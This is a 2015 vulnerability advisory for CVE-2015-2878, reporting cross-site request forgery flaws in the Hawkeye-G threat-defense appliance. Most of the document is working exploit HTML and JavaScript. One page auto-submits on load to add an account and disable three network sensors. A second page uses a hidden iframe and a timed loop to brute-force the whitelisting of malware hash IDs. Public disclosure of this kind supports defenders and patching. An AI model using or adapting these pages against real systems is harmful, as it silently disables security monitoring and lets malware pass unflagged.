[+] Credits: John Page ( hyp3rlinx )
[+] Domains: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-HAWKEYEG0724.txt
Vulnerability Type:
===================
CSRF
CVE Reference:
==============
CVE-2015-2878
Vendor:
===================
www.hexiscyber.com
Product:
=====================================================================
Hawkeye-G v3.0.1.4912
Hawkeye G is an active defense disruptive technology that detects,
investigates, remediates and removes cyber threats within the network.
Advisory Information:
====================================================
Multiple CSRF(s) Vulnerabilities:
Vulnerability Details:
=====================
1- CSRF Add arbitrary accounts to system
------------------------------------
vulnerable URL:
https://localhost:8443/interface/rest/accounts/json
vulnerable POST parameter:
'name'
2- CSRF modification of network sensor settings
---------------------------------------------------------------------
a) Turn off 'Url matching' Sensor
b) Turn off 'DNS Inject' Sensor
c) Turn off 'IP Redirect' Sensor
vulnerable URL:
https://localhost:8443/interface/rest/dpi/setEnabled/1
vulnerable POST parameters:
'url_match'
'dns_inject'
'ip_redirect'
3- CSRF whitelisting of malware MD5 hash IDs
------------------------------------------------------
vulnerable URL:
https://localhost:8443/interface/rest/md5-threats/whitelist
vulnerable POST parameter 'id'
CSRF Exploit code(s):
====================
<!DOCTYPE>
<html>
<script>
/* Execute consecutive CSRF exploits */
function ghostofsin(){
var doc=document;
var e1=doc.getElementById('exploit_1')
e1.submit()
var e2=doc.getElementById('exploit_2')
e2.submit()
var e3=doc.getElementById('exploit_3')
e3.submit()
var e4=doc.getElementById('exploit_4')
e4.submit()
}
</script>
<body onLoad="ghostofsin()">
<!-- Add arbitrary accounts -->
<form id="exploit_1" action="
https://localhost:8443/interface/rest/accounts/json" method="post">
<input type="text" name="human" value="true" />
<input type="text" name="name" value="inverted_crosses" />
<input type="text" name="domainId" value=""/>
<input type="text" name="domain_id" value="" />
<input type="text" name="roving" value="false" />
</form>
<!-- shutdown the 'Url Matching' Sensor that
is responsible for detecting known malware domains -->
<form id="exploit_2" action="
https://localhost:8443/interface/rest/dpi/setEnabled/1" method="post">
<input type="text" name="level" value="1" />
<input type="text" name="enable" value="false" />
<input type="text" name="attribute" value="url_match"/>
</form>
<!-- set the DNS Inject Network Sensor to off -->
<form id="exploit_3" action="
https://localhost:8443/interface/rest/dpi/setEnabled/1" method="post">
<input type="text" name="level" value="1" />
<input type="text" name="enable" value="false" />
<input type="text" name="attribute" value="dns_inject"/>
</form>
<!-- set the IP Redirect Network Sensor to off -->
<form id="exploit_4" action="
https://localhost:8443/interface/rest/dpi/setEnabled/1" method="post">
<input type="text" name="level" value="1" />
<input type="text" name="enable" value="false" />
<input type="text" name="attribute" value="ip_redirect"/>
</form>
</body>
</html>
Whitelist MD5 malware IDs CSRF:
-------------------------------
In final CSRF POC to try an white list malware MD5 IDs will be a bit more
complex,
we need to submit form many times hidden in background using iframe so we
stay on same page.
Seems all MD5 ID's end in 0001 and are 8 bytes in length, we just need a
loop an create some
numbers 8 bytes long and dynamically assign the 'id' value of the field and
execute multiple
POST requests in background, it will be hit or miss unless you know ahead
of time the MD5 ID
in the database your targeting.
e.g. Malware MD5 database ID 28240001
So Here we go!...
<!-- whitelist MD5 malware IDs -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>CSRF POC hyp3rlinx</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>
<form id="hell" action="
https://localhost:8443/interface/rest/md5-threats/whitelist"
target="demonica" method="post">
<input type="hidden" name="id" id="id"><br>
</form>
<IFRAME style="display:none" name="demonica"></IFRAME>
<script>
var doc=document
var x=1000
exorcism()
function exorcism(){
x++
String(x)
x+="0001"
var f=doc.getElementById('hell')
var e=doc.getElementById('id')
e.value=x
x=x.substr(0,4)
f.submit()
}
setInterval("exorcism()",100)
</script>
</body>
</html>
Disclosure Timeline:
=========================================================
Vendor Notification: June 30, 2015
July 24, 2015 : Public Disclosure
Severity Level:
=========================================================
High
Description:
==========================================================
Request Method(s): [+] POST
Vulnerable Product: [+] Hawkeye-G v3.0.1.4912
Vulnerable Parameter(s): [+] name, enable, id
Affected Area(s): [+] Network Threat Appliance, Local Domain
============================================================================
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.
(hyp3rlinx)
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